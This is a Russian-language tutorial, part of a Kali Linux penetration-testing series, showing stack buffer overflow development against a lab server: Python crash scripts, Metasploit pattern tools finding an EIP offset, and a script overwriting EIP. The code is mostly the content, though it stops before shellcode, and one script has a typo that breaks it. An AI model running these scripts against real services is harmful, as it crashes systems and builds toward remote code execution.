#92 Kali Linux для продвинутого тестирования на проникновение. Контролируйте выполнение приложения.
Здравствуйте, дорогие друзья.
Теперь у нас есть длина буфера. Следующим шагом является определение правильного смещения EIP для управления им. Давайте напишем быстрый скрипт Python для подключения к уязвимому серверу с точной длиной, которая привела к сбою сервера, сохраним файл как crash.py и запустим его на целевом IP:
1 2 3 4 5 6 7 8 |
import socket s = socket.socket() s.connect(("10.10.10.4",9999)) leng = 2984 payload = [b"TRUN /.:/",b"A"*leng] payload = b"".join(payload) s.send(payload) s.close() |
Следующий шаг — создать шаблон с помощью MSF, найдя папку /usr/share/etasploit-framework/tools/exploit/ и запустив ./pattern_create -l 2984 в терминале Kali Linux.Вы можете либо вывести сгенерированный контент в файл, либо скопировать его из терминала. Альтернативно Вы можете добавить в свою программу Python еще одну переменную. На этот раз мы отключим буфер и воспользуемся шаблоном длиной 2984, созданным инструментом эксплойта:
1 2 3 4 5 6 7 8 |
import socket s = socket.socket() s.connect(("10.10.10.4",9999)) leng = 2984 payload = [b"TRUN /.:/",b"<PAYLOAD FROM PATTERNCREATE>"] payload = b"".join(payload) s.send(payload) s.close() |
Опять же, запуск crash.py для цели приведет к повторному сбою сервера. Однако все символы A заменяются созданным шаблоном. На уязвимом сервере мы сможем увидеть регистры Immunity Debugger, который предоставляет следующую инструкцию, которая будет сохранена в EIP, как показано на рисунке ниже:
Вот и закончился фаззинг со следующим EIP 386F4337. Чтобы создать эксплойт, специфичный для Windows, мы должны определить правильное смещение EIP. Его можно извлечь с помощью инструментов эксплойта, таких как pattern_ offset (шаблон_смещение), который принимает входные данные EIP той же длины, которая использовалась для создания шаблона.
1 2 3 |
cd /usr/share/etasploit-framework/tools/exploit/ sudo ./pattern_offset.rb -q 0x386F4337 –l 2984 [*] Exact match at offset 2003 |
Это означает, что в шаблоне, созданном с помощью EIP, обнаружено совпадение смещения. Теперь мы знаем, что буфера 2003 достаточно для сбоя сервера, и мы можем начать переполнение и посмотреть, сможем ли мы перезаписать EIP:
1 2 3 4 5 6 7 8 9 10 |
import socket s = socket.socket() s.connect(("10.10.10.4",9999)) leng = 2984 offset = 2003 eip = b"BBBB" payload = [b"TRUN /.:/",b"A"offset,eip,b"C"(leng – offset -len(eip))] payload = b"".join(payload) s.send(payload) s.close() |
После выполнения предыдущего кода Python из Kali Linux Вы должны увидеть EIP, который мы перезаписали. Если все правильно, Вы должны увидеть следующее на стороне сервера с EIP как 42424242 в immunity debugger:
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.